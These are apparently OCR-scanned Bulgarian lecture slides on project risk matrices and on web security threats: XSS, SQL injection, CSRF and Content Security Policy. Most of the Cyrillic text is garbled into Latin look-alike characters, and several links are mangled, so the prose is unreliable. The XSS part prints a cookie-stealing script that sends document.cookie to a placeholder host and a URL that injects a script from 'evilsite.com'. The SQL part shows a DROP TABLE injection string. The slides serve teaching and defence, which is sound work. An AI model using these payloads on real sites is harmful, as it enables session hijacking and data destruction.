Af;gfrne?el nhc:"fn configured properly; Critical data could Continue monitoring
s IT auditing software be lost, but almost permissions changes,
accidental st < Low S
file deletions is in place; backups certainly could be privileged users, and
High are taken regularly. restored from backup. backups

Low

&

\\-/



[Ipumep 3a RISK matpuua

Ctobnka 1: UpeHTUDMKaALMA Ha pUCKOBETE

Mpumep: NpoekT 3a paspaboTka Ha MOBUNHO NpUNOXeHWe. NaeHTudULMpamMe cnegHuTe
NOTEHLMANHI PUCKOBE:

1.
2.

3.
4.

o

HesicHM U3MCKBaHUA OT KNUEHTA: KNVMEHTBLT He e NpefoCcTaBuil ICHU CrielndukaLmm.
TexHuuyecku npobnemu: HenpeaBuaeHn TEXHNYECKM NPeanM3BUKaTeNICTBA C MHTErpaLmusTa Ha
API.

CpokoBe: HecnocoOHOCT Aa Ce CNassT KpaitHu CPOKOBE.

Jlunca Ha pecypcu: HegocTaTbYyHO YOBELLKM PECYpCK 3a U3MbJIHEHWE Ha NMPOEeKTa.
KoHKypeHuus: [105iBa Ha KOHKYPEHTHM NPUIOXEHUS Ha nasapa.




[Ipumep 3a RISK matpuua

Ctbnka 2: OueHKa Ha pucKoBeTe

Cnep, MAEHTM(IWIKaIJ,MﬂTa Ha pUCKoBeTe, oL eHABaMe BCEKU OT TAX No ABe CKaJu:

BeposTHocT (1 710 5) Bb3aeiictue (1 10 5)

1: TBbpAE Manka BepoATHOCT 1: HesHaynTenHo Bb3aencTBme
2: Manka BepodATHOCT 2: Jleko Bb3aencTeme

3: YMepeHa BepodATHOCT 3: YMepeHo Bb3aencTeme

4: Bcoka BepodATHOCT 4: 3HauMTENHO Bb3AENCTBIE

5: MHOro BCOKA BEPOATHOCT 5: KaTacTpodanHo Bb3feiicTame




[Mpumep 3a RISK matpuua

Cnep oueHsBaHe, nojsyyaBame cnepgHuTte pe3yntaTu.

Puck BeposaTHocT Bb3pencTeue Puckosa cToiHOCT
(BeposTHocT * Bb3peiicTeue)

HesicHu u3nckBaHusa ot 4 4 16
KJIMEeHTa

TexHuyecku npobnemu 3 5 15
CpokoBe 5 4 20
Jlunca Ha pecypcu 3 3 9

KoHkypeHuus 2




[Ipumep 3a RISK matpuua

Ctbnka 3: Cb3paBaHe Ha RISK maTpuua @
Cneq Kato pasbepem puckosata CTONHOCT, MOXeM ga cb3gagem RISK matpuyata. Ha cnegsalymsi

c/iang MoXe Jja BuanM rpumepHata matpuija, KbAeto rno octa X ce paariosiara ckasara Ha

BepoATHocTTa oT 1-5, a no octa Y Bb3gesictaueto (1-5):




[Mpumep 3a RISK matpuua

RISK maTpuua
Bb3peicTeue 1 Bb3peiicTBue 2 Bb3peiicTBue 3 Bb3peiicTBue 4 Bb3peiicTBue 5
BeposaTHocT 5 Cpokoge (20)
BepoaTHocT 4 HeacHu
N3NCKBaHUS OT
knueHTa (16)
BeposiTHocT 3 Jlunca Ha pecypcu | TexHuyecku
(9) npo6nemu (15)
BeposiTHoCT 2
BeposTHocT 1 @\ KoukypeHuus (10)

@/




[Ipumep 3a RISK matpuua

Ctbnka 4: MpuopuTH3npaHe U cTpaTeruu 3a ynpaBnieHue

Cnef kato ca cbagamm RISK maTpuuarta, CTyAeHTUTe 06CbXKAAT CAEAHNTE CTPATErm 3a yrpaBieHne Ha -

PUCKOBETE:
1. HeSAACHM U3UCKBAHUSA OT KJIMGHTA:
Crpaterus: OpraHuanpaHe Ha pefloBHM CPeLLy C KIMeHTa 3a YyTOYHABAHE Ha U3NCKBaHMUATA.

2. TexHuyecku npobnemu:
Ctparterus: 13BbpLUBaHE Ha NpeABapUTENIHK NPOYYBaHNA 1 TecToBe Ha API npeau
WHTErpaumara.

3. Cpokose:
Ctparerus: [1naHnpaHe Ha 6y(epu B CPOKOBETE U PeJOBHO HAbMOEHME Ha HanpeabKa.




[Ipumep 3a RISK matpuua

Ctbnka 4: MpuopuTn3npaHe M cTpaTerum 3a ynpaeneHue

Cries kato ca cb3gan RISK maTpuyata, CTyAEHTUTE 06CHXAAT CEHUTE CTPATeruu 3a YripaBieHne Ha

PUCKOBETE:
4. Jlunca Ha pecypcu:
Crpaterus: OueHKa Ha pecypcuTe B Ha4asl0To Ha NPOeKTa 1, Npu HyXaa, Ha3HavyaBaHe Ha
OOMbHWUTENIeH NepcoHan.

5. KoHKypeHLuus:
Ctpaterus: [1poBexaaHe Ha nasapHu Npoy4BaHUs 1 aHanns Ha KOHKYPEHTUTE, 3a [ia Ce
aflanTvpa cTpaTerusaTa Ha nNpogykra.




JaiUi0yeHue

Ctbnka 3: Cb3paBaHe Ha RISK maTpuua @
RISK maTpuyata e oLje efuH MHCTPYMEHT, KOMTO HU [03B0JIsIBa 1a PAa36EPEM BaXXHOCTTa Ha
YNPaBIEHNETO Ha PUCKOBETE B COPTYEPHOTO MHXEHEPCTRO. [TDOLECHT Ha UAEHTU(UKALINS, OL/EHKA U
BU3ya/in3alins Ha PUCKOBETE NomMara 3a rno-A06po raaHnpaHe n B3eMaHe Ha pelleHns B POeKTUTE,




https://docs.google.com/document/d/1IbCaWX2pKc6Ed5hui-xvxvTCOKEWYLh4HU9bIN
WFit_E/edit?usp=sharing

https://docs.google.com/document/d/IDM9O3DXLYEevW24DCIOAIZVDAS2vyY-YNOenUD
oEIBgFk/edit?usp=sharing

https://docs.goodle.com/spreadsheets/d/13zwkAF97pKf82TDN8CMVYRtIXB6ut-ufwx8K
RNOoERM/edit?usp=sharing



https://docs.google.com/document/d/1bCqWX2pKc6Ed5hui-xvxvTCOK6WyLh4Hu9blNWFit_E/edit?usp=sharing
https://docs.google.com/document/d/1bCqWX2pKc6Ed5hui-xvxvTCOK6WyLh4Hu9blNWFit_E/edit?usp=sharing
https://docs.google.com/document/d/1DM93DXLYEevW24DCJQAl3VDA52yy-YNOenUDoEIBqFk/edit?usp=sharing
https://docs.google.com/document/d/1DM93DXLYEevW24DCJQAl3VDA52yy-YNOenUDoEIBqFk/edit?usp=sharing
https://docs.google.com/spreadsheets/d/1JzwkAF97pKf82TDn8CmVyRtJXB6ut-ufwx8KRN0oERM/edit?usp=sharing
https://docs.google.com/spreadsheets/d/1JzwkAF97pKf82TDn8CmVyRtJXB6ut-ufwx8KRN0oERM/edit?usp=sharing

https://docs.google.com/document/d/TmMbEdMbFEsIBFipfCIb8FST4NdCVL6s7WKHJKII
D8Ru4c/edit

https://docs.google.com/spreadsheets/d/1IEzZWuQ1-VpBK6WHZ0IkeD6tgCkWOMUez-
hTleDVTT6A/edit?usp=sharing



https://docs.google.com/document/d/1mbFdMbFsJBFipfClb8FST4NdCVL6s7WKHdKIJD8Ru4c/edit
https://docs.google.com/document/d/1mbFdMbFsJBFipfClb8FST4NdCVL6s7WKHdKIJD8Ru4c/edit
https://docs.google.com/spreadsheets/d/1FzZWuQ1-VpBK6WHZ0lk6D6tgGkWOmUez-hTleDVTT6A/edit?usp=sharing
https://docs.google.com/spreadsheets/d/1FzZWuQ1-VpBK6WHZ0lk6D6tgGkWOmUez-hTleDVTT6A/edit?usp=sharing
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SIMPLE CYBER SECURITY RISK
ASSESSMENT TEMPLATE

RISK
RATING
KEY




SEVERITY

ACCEPTABLE

LITTLE TO NO EFFECT ON
EVENT

TOLERABLE

EFFECTS ARE FELT,
BUT NOT CRITICALTO
OUTCOME

UNDESIRABLE

SERIOUS IMPACTTO
THE COURSE OF
ACTION AND
OUTCOME

INTOLERABLE

COULD RESULTIN
DISASTER

LIKELIHOOD

IMPROBABLE

RISK IS UNLIKELY TO
OCCUR

POSSIBLE

RISK WILL LIKELY
OCCUR

PROBABLE

RISK WILL OCCUR

S

\\\\




RISK MATRIX

LIKELIHOOD

25% —

25% 50% 75%

v

IMPACT

©
Solving Information Security Challenges Based On Risk, Not Fear Pfatum




WHCTpYMeHTH 3a npoBepKa
Ha yeb canT cMrypHocTTa

https://cybersecurity-magazine.com/forecasting-data-security-and-compliance-trends-in-2025/

https://certpro.com/top-compliance-trends/

https://drata.com/platform/startup

https:/www.gable.ai/blog/data-compliance?ref=compliancehub.wiki

https://360advanced.com/top-5-compliance-trends-expected-in-2025-insights-for-future-planning/



https://cybersecurity-magazine.com/forecasting-data-security-and-compliance-trends-in-2025/
https://certpro.com/top-compliance-trends/
https://drata.com/platform/startup
https://www.gable.ai/blog/data-compliance?ref=compliancehub.wiki
https://360advanced.com/top-5-compliance-trends-expected-in-2025-insights-for-future-planning/

@ Hail-yectu 3annaxu 3a CUrypHOCTTa Ha
yebcaita (Website security threats)

Cross-Site SQL injection Cross-Site Request
Scripting (XSS) Forgery (CSRF)

©
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Haii-yecty 3annaxu 3a cUrypHoCTTa Ha

iy

yebcaita (Website security threats)

G I

Clickjacking Denial of Service Directory Traversal

(DoS)
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Haii-yecty 3annaxu 3a cUrypHoCTTa Ha

iy

yebcaita (Website security threats)

iy

File Inclusion Command Injection
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Cross-Site Scripting (XSS)

BHuMaHue: B nctopnyeckun nnaH XSS y43BnMMOCTHUTE ca
Hal-4YecTns TUM 3ansaxa 3a CUrypHocTTa.
XSS e TepMUH, 13N0N3BaH 3a ONMCaHWe Ha Knac aTaky, KOMTOo NMo3BOJSBAT Ha
HanagaTens aa BHeapu client-side ckpun npes ye6caitTa B 6pay3bpa
Ha NOTpebuTenuTe.

©

@




Cross-Site Scripting (XSS)

Tl KaTO MHXEKTUPAHWUAT KOA 1Ba B 6pay3bpa OT CailTa, CKPUNTHT Ce NprUemMa 3a JOBEPEH 1 MOXE
[1a NPaBy Hella KaTo 13npalliaHe Ha BUCKBUTKATA 3a YMb/IHOMOLLABaHe 0T NOTPedUTeNs 40 xakepa.
Korato Hanagatensr nosy4uv 6UCKBUTKATa, TOIl MOXE f1a BNIE3e B CailTa, CAKALL € NOTPEBUTEN T U 4a
HampaByW BCUYKO, KOETO NOTPEOUTENAT MOXKE, KaTo HanpuMep Aa A0CTbMU AaHHWUTE 3a KpeuTHaTa
KapTa, Aa BUAW AaHHMTE 3a KOHTAKT UK fa NpoMeHn naposinTe. XSS yA3BMMOCTUTE Ca pasfesieHn

Ha oTpaseHi (reflected) n noctosHHK (persistent), Bb3 0OCHOBa Ha TOBA Kak CaiTbT BPbLLA
NHXXEKTUPaHUTE CKpUNTOBE B 6pay3bpa. OTpaseHa XSS ysi3BUMOCT Bb3HMUKBA, KOraTo
NOTPEBUTENICKOTO ChbPXKaHKe, KOETO Ce NpefiaBa Ha CbpBbPa, Ce BPbLla He3abaBHO U He e
MOAV(MULMPAHO 3a NOKa3BaHe B 6pay3bpa. BCUUKM CKpUNToBE B OPUrMHANHOTO NOTPEOUTENCKO

CbAbpPXaHWE LLe Ce N3NBHAT, KOraTo Ce 3apefiM HoBaTa CTpaHuua. Hanpumep, Aa Kaxem 4ye umame

(QYHKLMS 32 TbPCEHE B CaiiTa, KbAETO AYMUTE 3a TbPCEHE Cca KoanpaHu kato URL napameTpu v Tean
TEPMUWHW Ce NOKa3BaT 3aefHO C pesynTaTuTe. HanagatensT Moxe Aa cb3aafe search link, kodTto fa

CbAbpKa 3/10HaMepeH CKpUNT KaTo napameTbp.




Cross-Site Scripting (XSS)

Hanp. http:/mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></ script>) n aa ro
M3MpaT NPy HaTUCKAHETO /i Mo MMenn [0 Apyr notpebuTen. ToBa AaBa Ha Hanagatend usnata
NHbOPMaLWS, OT KOATO Ce HyX/ae, 3a Aa Bese B CaiiTa KaTo LeNeBy NoTpeduTen, Kato
NOTEHLMANHO NPaBW NOKYMKM KaTo NOTpebuTen unam cnogens MHhopMaLmsaTa Ci 3a KOHTaKT.

MocTosHHa (persistent) XSS ya3BUMOCT BbH3HMKBA, KOraTo 3/I0HAMEPEHUST CKPUMT Ce CbXPaHsBa
Ha yebcaiTa v cnef ToBa Mo-KbCHO Ce NMoKa3Ba HEMPOMEHEH 3a APYrv NOTPEOUTENN, KOUTO HEBOJTHO
ro 3nbAHABaT. Hanpumep, anckycuoHHa abcka (discussion board), KoATo NpueMa KOMeHTapw,
CbhAbpXaLy Hemoanduumpad HTML, Moxe [la CbxpaHaBa 3/10HaMepeH CKpunT. KoraTto ce nokaxat
KOMEHTapuTe, CKPUNTBT Ce U3MbIIHABA 1 MOXE [a 13NpaTh Ha xakepa MHpopmaumsTa, Heobxogmma
3a I0CTBMN [10 akayHTa Ha noTpebutend. To3u BIA ataka e U3KIKUYUTENHO NOMYAAPHA U MOLLHA, Tbid
KaTo "HanafaTtenar MOXe [0pW [a HaAMa NPSAK aHTaXXUMEHT C KepTBUTE.




Cross-Site Scripting (XSS)

[okato pgaHHuTe o1 POST wnm GET 3agBkuTE Cca HaW-4eCcTo CPeLlaHUsT M3TOYHMK Ha XSS @
YA3BMMOCTM, TO BCKMYKM OCT@HaNM CbLIO Ca MNOTEHUMANHO YA3BUMU: AaHHW 33 OUCKBUTKMY,
n306pas3eHn 0T 6paysbpa, WKW NOTPeOUTENCKM (ainnoBe, KOMTO ce upload-BaT M Mokasgar.

Haii-nobpata 3awmta cpelly XSS ya3BMMOCTM e Aa NpemMaxHeTe WauM AeakTUBMpPaTe BCSKO
MapKupaHe, KOeTO MOTEHLMANHO MOXe Aa CbAbpPXKa MHCTPYKLWM 3a U3MbAHEHWE HA Koaa. 3a
HTML ToBa BKIHOYBA  €NIEMEHTW, Kato  <script>,  <object>, <embed> wu  <link>.

MpouecbT Ha MoaudHMLMpaHe HAa NOTPeOMTENCKN AaHHK, TaKa Ye AAa He MoraT jia ce U3non3sar
3a M3Nb/IHEHWE Ha CKPUNTOBE WAM MO APYr HaYyMH Aa MOBAMAAT HAa M3NBJHEHUETO Ha
CbpPBbPHMA KOJ, € M3BeCTeH KaTo CaHMTM3MpaHe Ha Bxoaa (input sanitization). Muoro ye6
pPaMKM  aBTOMATWUYHO CaHUTU3MPAT BXOAA MO MoApaséupaHe OT noTpedutens Ha HTML
QopmynapuTe.




[lpuMep Ha ataka XSS:
"Kpaxxba Ha cecuitHn BUCKBUTKM'

CueHapuii: PaspaboTunn cme yeb NPUIOXEHWe, KOETO MO3BOMSBA Ha noTpebutenute Aa
ny6nankyBaT KOMeHTapw nog ctatuu. CTpaHuuaTa He Banufa BXOAALWMTE AaHHM MPaBWIHO W
No3B0JsBa Ha NoTpedbuTennTe aa BMbkBaT HTML 1 JavaScript Ko B KOMEHTapuTe Cu.

Ctbnka 1: UHKeKTupaHe Ha 3/I0HaMepeH Kop,

"XaKepr"pemaBalkiceBb3HOﬂ3BaOTyﬂ3BMMOCTﬁiMHy6ﬂMKyBaCﬂeﬂHMﬂKOMeHTaQ
<script>
var img = new Image() ;
img.src = "https://domain.com/steal cookies?cookie=" +
document.cookie;
</script>




[lpuMep Ha ataka XSS:

"Kpaxxba Ha cecuitHn BUCKBUTKM'

Tosn Kof Cb3daBa HOBO W306paxeHuWe 1 3afaBa Src atpubyta Ha URL, KOWTO XakepbT
KOHTpOnupa. Korato »epTBaTa 3apen CTpaHuLarta, CKPUNTbT Ce U3MbIIHABA U BUCKBUTKUTE HA
cecusaTa (Hanpumep, session_id) Ha NOTPebUTENS Ce U3NpaLlaT Ha 3N0HAMEPEHUS YOBEK.

CtbnKa 2: XXepTBaTa 3apeXpa CTpaHuLaTa
KoraTo »eptBaTa (OGMKHOBEH MOTPeGUTEN) MOCETW CTpaHMLaTa C KOMEHTapuTe, 6pay3bpbT

aBTOMATUYHO M3NBHABA 3/10HAMepeHna JavaScript kog, Tbi KaTo Ton e YacT oT HTML koga Ha
CTpaHuuaTa.




[lpuMep Ha ataka XSS:

"Kpaxxba Ha cecuitHn BUCKBUTKM'

Ctbnka 3: U3npauiaHe Ha GUCKBUTKUTE Ha XaKepa

KombT, n06aBeH 0T xakepa, nanpatla document.cookie (BCUYKM BUCKBUTKM HA TEKYLLMSA CalT) Ha
URL agpeca My. Hanpumep, ako cecuiiHata 6UCKBUTKA e session_id=12345, xakepbT e nonyyu
cnegnua HTTP GET 3aaBka:

GET /steal cookies?cookie=session 1d=12345




[lpuMep Ha ataka XSS:
"Kpaxxba Ha cecuitHn BUCKBUTKM'

Ctbnka 4: XakepbT nonyyaBa GUCKBUTKHUTE

Cnen Kato TOA MOAyYn OUCKBUTKMTE, MOXE Aa IVt M3NOM3Ba, 3a Aa Ce WAEHTUOUUMpa KaTo
XEPTBaTa W Aa M3BbpLIBA AENCTBUS OT HEMHO MME, HAaNpuUMep Aa NPOMeHsd naponaTta uav Aa
npaBy NOKYMKMK.




U3Boau

Ctbnka 4: XakepbT nonyyaBa GUCKBUTKHUTE

KakBa e yasBumocTtTa? CailTbT € N0O3BOMM HA aTakyBalMa Aa MHXekTnpa JavaScript kog 4pes
He3abens3aHo BannaaLms Ha BXxoaa.

MocnepcTeua: XSS atakata HoCH PNUCKOBE 3a Kpa>K6a Ha CECUIAHN BUCKBUTKN, MaHUMYNNPaHE Ha
l"IOTpe6l/ITeﬂCKI/I AaHHWU 1 KOMMNPOMETUPAHE Ha aKayHTH, 1N 4p.

MeToau 3a 3awMTa: BavaaLma Ha BXOAA, KOAMPaHe Ha 13xoaa v nsnondsaHe Ha Content Security
Policy (CSP. mexaHu3bMm, KOIWTO nmomara 3a npefoTBpaTsaBaHe Ha XSS aTaku ypes ykasBaHe Ha
[ONYCTUMWTE M3TOYHNLM HA ChIbPXKaHME 3a 6pay3bpa.).




Content Security Policy (CSP)

CSP e ctaHfapT, aedunnpar ot W3C, KoiTo npefocTaBs Habop OT Npaska, N03BONSBALLM Ha yeb
paspabotunumTe a 3afjafar MoaWTUKKM 3@ CUFYPHOCT OTHOCHO PECYPCUTE, KOMTO TeXHUTE yeod
NPUIOXEHNA MOraT Aa 3apexaat. Teau npasuna ce gedunnpat 8 HTTP 3arnaBue unu B MeTa Tar
N yKa3BaT Ha 6pay3bpa Kak [a Ce ChnpaBsi C pas3fMyHM TUMOBE CbAbPXaHKe, KaTo CKPUMTOBE,
CTUNIOBE, N306PAXEHNS U LIPUPTOBE.

Toit e MOLLEH MEXaHN3bM 3a CUTYPHOCT, KOMTO NpeaoTBpaTsaBa ocBeH Cross-Site Scripting (XSS) u
Data Injection aTaku.




OcHoBHM dyHKLMKM HA CSP

KoHTpon Ha npousxofa Ha cbpbpaHue: CSP nosponsBa Ha paspaboTynuute fa 3ajasat
MO3BONEHNTE U3TOYHULIM HA CbAbPXKaHWe. Hanpumep, MOXeTe [a paspelunTe 3apexjaHeTo Ha
CKPUNTOBE CaMO OT BalLKs JOMEAH UK OT ONpefeneHn A0BePeHN JOMERHMN.

MpeporBpaTaBaHe Ha XSS: CSP Moxe fAa npefotBpaTyt XSS ataku, KaTo 6110KMpa HepaspeLLeH
KO W NpefoTBpaTsSBa U3MbHEHNETO Ha BMbKHATK CKPUMTOBE.

KoHTpon Ha BMbKBaHeTo Ha pecypcu: CSP no3BonsBsa Aa ce 3a/afaT npaBiia 3a 3apexjaHe Ha
N306paxeHus, LUpUATOBE, CTUNOBE W APYTY PECYPCH, KATO MOXETE Aa KOHTPOAMpATe KaK 1 0TKb/e
ce 3apex/at Te.

OTuMTaHe Ha HapyweHusi: CSP no3BofifgBa Ha paspaboTuuuuTe Aa MnosnyvaBaT OTYETW 3a
HapYLIEHNA Ha NONUTUKKTE, KOBTO Nomara 3a OTKP/UBaHe Ha ONWUTK 3a aTaku 1 yA3BUMOCTM.




Kak ce usnonssa CSP?

CSP moxe pa ce BHeapu no ABa HauyuHa: 4pe3 HTTP xegbp wav 4ype3 mMeta Tar. Hai-yecto
W3MON3BAHUAT METO/ € MbPBUAT.

1. NMpumep 3a HTTP xeabp
MoxeTe ga  pobasute CSP B otroBopa Ha  HTTP  or  cbpBbpa.  [lpumep:
Content-Security-Policy: default-src 'self'; script-src 'self'!

https://trustedscripts.example.com; img-src 'self' data:;
default-src 'self': PaspellaBa 3apexaaHeTo Ha pecypcu camo OT TEKYLUA JOMENH.

script-src 'self'  https://trustedscripts.example.com: Paspewasa CKpuntoBe paa ce
3apexjaT camo OT TeKyLWunsa AOMeilH M 0T trustedscripts.example.com.

img-src 'self' data:: PaspelaBa u3obpaxeHus Aa ce 3apexaar camo OT TeKywus AomeiiH u ot data URL.




Kak ce nsnonssa CSP? @

2. Mpumep 3a meTa Tar
AKO He MOXXeTe Aia KOHTPOSIMpaTe 3arnaBnaTa Ha 0TrOBOpUTE, MOXeTe aa aobaBuTe CSP upes meTa Tar B
HTML ANOKYMeHTa:

<meta http-equiv="Content-Security-Policy" content="default-src 'self';

script-src 'self' https://trustedscripts.example.com; img-src 'self' data:;">
Hakou BaxxHu aupextusu B CSP

default-src: OcHOBHa AupekTVBa, KOATO 3aAaBa M3TOYHMLMTE MO NOAPa3bupaHe 3a BCUYKK PECYpCH,
KOMTO He Ca KOHKPETHO paspeLleHn OT ApYrn AVPEeKTUBY.

script-src: Onpeend paspeLleHnTe 3ToYHMLM 3a JavaScript.

style-src: Onpenenst paspeLieHnTe n3TouHNLM 3a CSS.

img-src: Onpefens pa3peLieHnTe N3TOYHNLM 3a N300paXXeHus.

font-src: Onpenens paspeLweHnTe M3TOYHNLM 3a WPUPTOBE.

frame-src: Onpepens paspeLleHnTe N3TOYHMULM 3a paMKu " iframe.
report-uri: Yka3dsa URL, KbaeTo 6pay3bpbT Le U3npalla 0T4YeTH 3a HapyLlenus Ha CSP.




[Tpumepu 3a 3awmrta ¢ CSP ©)

1. 3a6bpaHsBaHe Ha UHAlH CKPUNTOBE: @
Tasyn  nonauTMka  3abpaHsaBa  M3MbAHEHWETO  HAa  WHNAAH  CKPUNTOBE M OBEKTW.
Content-Security-Policy: script-src 'self'; object-src 'none';

2. PaspewaBaHe Ha cneyu(puYHN U3TOUHULIK:

PaspelliaBa 3apeXaaHeTo Ha I/I306pa>+(eHl/lﬂ CaMoO OT TeKyLu1S NOMEVH 1 OT images.example.com.
Content-Security-Policy: default-src 'self'; img-src 'self'
https://images.example.com;

3. OrtyMuTaHe Ha HapyLweHus:

[103BONIABA Ha CbpBbpa Aa nosiyd4aBa OTHETN 3a HAPYLUEHNA Ha CSP.
Content-Security-Policy: default-src 'self'; report-uri
/csp-violation-report-endpoint;




JalUi0yeHme

Content Security Policy (CSP) e BaxxeH MHCTPYMEHT 3a NOBWLIABAHE Ha CUTYPHOCTTA Ha yeb @
NpUIoXeHusTa. Ypes npaBnaHOTO My BHEAPABAHE MOXETE Aa 3alUTUTE NPUIOXKEHUSATA Ch OT

XSS ataku 1 apyrv 3annaxu. CSP npefocTaBs MbBKABOCT M KOHTPOS Haf 3apexaaHeTo Ha

CbAbPXKaHMe, KOETO Nomara 3a 3alluTa Ha NOTPeOUTENUTE U TEXHUTE JaHHMU.




YnpaxHeHue

CTYAEHT 1 oT ekuna nrpae pPoNidTa Ha HanaAaTeﬂ/xaKep, da [pyrute Ha6monaBaTe KaK Ce
N3BbPLUBA dTakKaTa.

BHeapsBaHe Ha 3awuTa: Criej KaTo CTaHaT ACHU nocneguuuTe OT atakaTa, NpeaJioxeTe Mepku 3a
3almTa.
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SQL injection

SQL injection ya3B/MOCTHTE NO3BOMIABAT HA 3/I0HAMEPEHNTE NOTPebUTENN Aa
M3NBbAHABAT NponsBoneH SQL Koa/3aaBku B 6a3aTa AaHHK, NO3BONABANKY
AOCTbHM A0 MHOOPMALMS, NPOMSIHA U U3TPUBAHE, HE3aBUCUMO OT
paspeLleHnsaTa Ha NoTpebuTens.




SQL injection

YcrnewHa ataka 4pe3 SQL injection Moxe [fa noanpaBu CaMOSIMYHOCTKM, [a Cb3fafje HOBW @
CaMOJIMYHOCTH C NpaBa 3a afMUHUCTPUPaHe, Aa Noayyn 4oCTbM A0 BCUYKM [aHHKM HA CbpBbPa UK
[a YHULLOXW/NPOMEHW laHHUTE, 3a A1a M1 HanpaBu HEeN3noi3Baemu.

Tunosete SQL injection Bkniousat Error-based SQL injection, SQL injection ocHoBaHa Ha
nornyecku rpewku u Time-based SQL injection.

Tasn ya3BUMOCT e HanLe, ako BXofa Ha NoTpebuTens, KOWTO ce npefaBa KbM 6a308 SQL n3pas,
MOXe [ia MPOMEeHM 3HaYeHWEeTO Ha M3pasa. Hanpumep, CnefHUAT KoL e npeaHasHayeH aa BbpHe
BCUYKM NOTPEOUTENN C KOHKPETHO UMe (userName), KoeTo e npegocTaseHo oT HTML dopmynap:
statement = "SELECT * FROM users WHERE name = '" + userName + "';"
AKO NOTPEOUTENST NOCOYN UCTUHCKO UME, 3ABNIEHWETO Lie PaboTy Mo NpeaHasHaveHue. Bbnpeku
TOBA, 3/10HAMEPEH NOTPEOUTEN MOXE HAMb/IHO fa NPOMEHM NoBeAeHNeTo Ha To3n SQL n3pa3 Kbm
HOBMS M3pa3 B CMeABALLMSA NPUMEP, KAaTO MOCOYM TEKCTA B yaebeneH WpndT 3a userName .




SQL injection

SELECT * FROM users WHERE name = 'a’;DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't;
MoanduumpaHnat wn3pas cb3gaBa BanvaHa SQL 3adBKa, KOATO W3TpMBa Tabnauuata C
noTpebuTeny v n3bupa BCUYKKM AaHHK OT Tabnauuata userinfo, (KOATO paskpuBa MHpopMaLmaTa 3a
BCeKV noTpebuTen). ToBa paboTH, 3aLLOTO MbpBaTa YacT OT MHXEKTUPaHUS TekcT (a';) 3aBbpLUBa
OPUrMHANHKA 13pPas.

3a [a u3berHete TO3W BU[ aTaka, TpA6Ba [la rapaHTMpate, Ye BCUYKM MOTPEOUTENCKN [aHHMK,
KOWTO ce npefaBat KbM SQL 3asBKa, He MOraTt Aia MPOMEHAT eCTeCTBOTO . EAVH 0T HaunHKTe 3a
TOBa € Aa ‘escape’-BaTe BCUYKM 3HaALM BbB BXOAa Ha MOTpedUTeNs, KOUTO MMaT CheuuanHo
3HayeHue B SQL.

BHumanme: SQL onepaTtopbT TpeTupa CMMBOMA ' KAaTO Havyano M Kpan Ha HW30B Niutepan. AKo
nocTaBMM obpaTHaTa Hak/IoHeHa YepTa nped To3m 3Hak (\'), To Hue Le “escape’-Hem/GunTpupame
CMMBONa 1 Ka3BaMe Ha SQL BMeCTO TOBa f1a ro TPeTMpa KaTo 06MKHOBEH 3Hak (4acT OT H13a).




SQL injection @

B cnenBallata 3asBka Hue Lie nponycHeM cumBona . SQL Beye e MHTeprpeTMpa MMETO KaTo Liefinsa Hi3

C yaebeneH wpnort:
SELECT * FROM users WHERE name = 'a\';DROP TABLE users;

PaboTHWTE yeb paMKi YECTO Camit Ce rpuKaT 3a ToBa PUATPUPaHe.

SELECT * FROM userinfo WHERE \'t\' = \'t';
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Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) nnu danwmuumnpaHeTo Ha MeXAycainToBK
3aBKW NPeICTABAABAT aTaku, KOUTO NO3BOMABAT Ha 30BPE/H NOTPEGUTENN Aa
M3MBAHABAT ONepaLy Ypes N3NoN3BaHETO Ha NPaBa OT Apyr NoTpe6uTen 6e3
HEroBOTO 3HaHWE 11 NO3BOMEHME.




. Cross-Site Request Forgery (CSRF)

Tosn TMN aTaka Haii-nobpe ce 06siCHABa C npumep. Heka npuemem, ye [XKOH e 3M10HAMEpEH
NoTPe6UTEN, KOTO 3Hae, Ye KOHKPETEH CailT NO3BO/SBA HA BNUCAHM B CUCTeMaTa NOTpebuTenu na
M3npaLat napu KbM onpeaeneH akayHt, nanonssankn HTTP POST 3aaBKa, KOATO BKJ/IKOUYBA UMETO
Ha aKayHTa v cymata napu. [)KoH cb3aaBa GOpMynsap, KOMTO BKOYBA HErOBWTE BAHKOBM AaHHW W
Cyma napu KaTo CKpUTY MofeTa 1 ro uanpawa no WMeinn go Apyru noTpebutenn Ha caiita (c
6yTOHa Submit, MacknpaH KaTo Bpb3Ka KbM CaliT 3a ,6bp30 3aboraTsaBaHe”).

AKO NOTpebuTeN LipakHe BbPXy 6yTOHa 3a nanpataHe, HTTP POST 3asaBkaTa Lie 6be 1anpaTteHa
[0 CbpBBbPA, ChAbpPXKaLla NOAPOOHOCTMTE 3@ TPAH3aKLUMATA U BCUYKM BUCKBUTKM OT CTpaHa Ha
K/IMEHTA, KOMTO 6pay3bpbT acoLmmpa CbC CailTa (J06aBAIHETO Ha CBbP3aHN GUCKBUTKY Ha CalT KbM
3a8BKUTE € HOPMAJIHO MoBejjeHne Ha 6pay3bpa). CbpBbpbT LiE NPOBEPU BUCKBUTKUTE U LE W
N3M0N3Ba, 3a ja ONpPeaenu fanv NoTPedUTeNsaT e BAS3b UK He W Aanun Ma npaBa [a U3BbPLLK
TpaH3akLUuaTa.




. Cross-Site Request Forgery (CSRF)

PesynTatbT e, Ye BCEKM NOTPeduTen, KOMTO LpakHe Bbpxy ByTOHa V3npallaHe, 0KaTO e BS3b/ B @
caiiTa 3a TbProBus, Le 3BBbPLK TPaH3aKuuaTa 1 ... IXKOH 3aboratsBa.

benexka: HomepbT TyK e, ye [I)KOH He TpsibBa Aa MMa [OCTbN 0 BUCKBUTKNTE Ha NOTPebUTENS
(M MAEHTUOUKALMOHHM [aHHM 3@ A0CTbM). bpay3bpbT Ha NOTPEGUTENS CbXpaHsBa Tasu
MHAOPMALIMA N aBTOMATUYHO $ BK/OUYBA BbB BCUYKM 3asiBKM KbM CBbP3aHS ChbPBBP.

EAMH OT HauMHMTe 3a NpeAoTBpaTABaHE Ha TO3M TUM aTaKa e CbpBbLPBLT Aa usuckea POST
3afBKMTE Aa BK/OYBaT cneuuduyHa 3a noTpebuTens reHepupaHa OT calTa "TaiHa"/Kniou.
Ta/ToM we 6bAe NpefocTaBeHa OT CbpBbpa NpM M3npaLLaHe Ha yeb popmynspa, M3nNon3BaH 3a
U3BbpLIBaHE Ha TpaHcdepu. To3u noaxox He no3BonsABa Ha [IKOH fa cb3aaje CBOA COOCTBEHA
